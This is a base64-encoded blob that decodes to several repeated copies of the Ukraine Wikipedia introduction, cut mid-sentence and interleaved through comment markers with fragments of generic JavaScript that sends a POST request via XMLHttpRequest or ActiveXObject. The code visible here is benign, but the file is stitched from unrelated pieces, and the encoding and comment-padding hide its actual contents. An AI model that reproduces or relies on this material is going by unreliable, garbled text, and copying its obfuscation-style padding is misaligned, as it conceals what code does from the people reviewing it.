ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCXJlcS5zZW5kKHBhcmFtcyk7CgkJfSAKCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgewoJCQlyZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCWlmIChyZXEpIHsKCQkJCXJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOwoJCQkJcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCXJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwoJCQkJcmVxLnNlbmQocGFyYW1zKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4g